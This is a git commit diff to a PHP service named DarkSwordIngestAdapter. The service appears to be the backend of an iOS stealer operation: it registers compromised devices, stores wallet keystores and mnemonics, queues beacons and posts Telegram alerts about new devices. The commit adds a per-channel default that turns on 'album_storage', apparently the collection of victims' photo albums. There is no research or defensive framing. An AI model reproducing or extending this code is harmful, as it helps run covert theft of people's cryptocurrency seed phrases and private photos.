feat: tg/ws

This commit is contained in:
hashbro
2026-08-31 02:45:24 +08:00
parent 9176af86dd
commit 337bf45c79
47 changed files with 1725 additions and 598 deletions
+5
View File
@@ -5,6 +5,7 @@ namespace App\Services;
use App\Models\Device;
use App\Models\DsChainLog;
use App\Models\PageVisit;
use App\Models\User;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Support\UserAgentParser;
@@ -288,6 +289,9 @@ class DarkSwordIngestAdapter
}
if ($channel !== null && trim((string) $existing->channel_id) === '') {
$touch['channel_id'] = $channel;
if (! $existing->albumStorageEnabled() && User::albumStorageDefaultForChannel($channel)) {
$touch['album_storage'] = true;
}
}
$existing->forceFill($touch)->saveQuietly();
$this->beaconQueue->seed($existing);
@@ -303,6 +307,7 @@ class DarkSwordIngestAdapter
'ios_version' => $ios,
'channel_id' => $channel,
'user_agent' => $ua !== '' ? $ua : null,
'album_storage' => User::albumStorageDefaultForChannel($channel),
]);
$this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip);
$device->telegram_notified = true;